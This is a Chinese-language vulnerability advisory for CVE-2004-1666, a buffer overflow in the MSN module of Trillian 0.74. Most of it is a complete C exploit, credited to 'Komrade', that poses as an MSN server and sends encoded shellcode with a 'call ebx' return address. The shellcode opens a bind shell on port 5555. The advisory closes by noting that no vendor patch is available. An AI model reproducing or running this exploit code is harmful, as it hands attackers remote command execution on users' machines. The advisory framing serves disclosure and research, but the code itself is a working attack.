发布日期：2004-09-08
更新日期：2004-09-09

受影响系统：

Cerulean Studios Trillian 0.74

描述：

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CVE(CAN) ID: CVE-2004-1666

Cerulean Studios Trillian是一个聊天程序，和多种即时通讯程序使用相同的接口，包括AIM、ICQ、Yahoo! Messenger、MSN Messenger和IRC。

Cerulean Studios Trillian在MSN模块中存在缓冲区溢出问题，远程攻击者可以利用这个漏洞以进程权限在系统上执行任意指令。

当Trillian从MSN消息服务器中接收到以换行结尾的超过4096字节的字符串时，可触发缓冲区溢出，攻击者利用"中间人"技术发送恶意字符串可能以进程权限在系统上执行任意指令。

<*来源：ATHIAS （jerome.athias@caramail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109466618609375&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

ATHIAS （jerome.athias@caramail.com）提供了如下测试方法：

/*
    Cerulean Studios Trillian 0.74i Buffer Overflow in MSN module exploit
    created by Komrade  -  http://unsecure.altervista.org

    Written for Windows 2000 / Windows XP.
    Tested on Windows XP Professional sp0.

    This exploit spawn a shell on port 5555, you have just to execute the
    program    and connect to port 5555.
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <string.h>

int main(int argc,char **argv){

    char shellcode[] =
    "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"
    "\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"
    "\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"
    "\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"
    "\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"
    "\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
    "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
    "\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"
    "\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"
    "\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"
    "\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"
    "\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"
    "\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"
    "\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"
    "\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"
    "\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
    "\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"
    "\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"
    "\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
    "\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"
    "\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"
    "\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"
    "\xF8\xFA\xFA\xFC\xE9\xED\x99";


    SOCKET sock, client;
    struct sockaddr_in sock_addr, client_addr;
    WSADATA data;
    WORD p;
    char mess[4096];
    int lun, n, i;

    p = MAKEWORD(2, 0);
    WSAStartup(p, &data);

    printf("------------------------------------------------------------------------\r\n");
    printf("-  Cerulean Studios Trillian 0.74i MSN module Buffer Overflow exploit  -\r\n");
    printf("-                   for Windows 2000 / Windows XP                      -\r\n");
    printf("-                                                                      -\r\n");
    printf("-         created by Komrade  -  http://unsecure.altervista.org        -\r\n");
    printf("------------------------------------------------------------------------\r\n");

    sock = socket(PF_INET,SOCK_STREAM, 0);
    sock_addr.sin_family = PF_INET;
    sock_addr.sin_port = htons(1863);
    sock_addr.sin_addr.s_addr = INADDR_ANY;

    bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
    listen(sock,1);

    lun = sizeof (struct sockaddr);

    printf("\r\nWaiting for a connection...\r\n");

    client = accept(sock, (struct sockaddr*)&client_addr, &lun);
    if (client <= 0){
        printf("Unable to wait for connections\r\n");
        exit(-1);
    }

    n=recv(client, mess, sizeof(mess),0);
    if (n < 0){
        printf("Error receving connections\r\n");
        exit(-1);
    }

    printf("Received a connection request from a client.\r\n");

    strcpy(mess, shellcode);

    for(i=strlen(shellcode); i < 4090; i++)
        mess[i]='x';

    mess[i]=0x33;    /**/
    mess[i+1]=0x12;    /*return address of a "call ebx" command in trillian.exe*/
    mess[i+2]=0x40;    /**/
    mess[i+3]='\r';
    mess[i+4]='\n';
    mess[i+5]='\0';

    n = send(client, mess, strlen(mess),0);
    if (n > 0){
        printf("Exploit sent succesfully.\r\n");
        printf("Now connect to port 5555.\r\n");
    }
    else
        printf("Error sending the exploit\r\n");

    closesocket (client);
    closesocket(sock);
    WSACleanup();
    return 0;
}

建议：

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厂商补丁：

Cerulean Studios
----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.ceruleanstudios.com/

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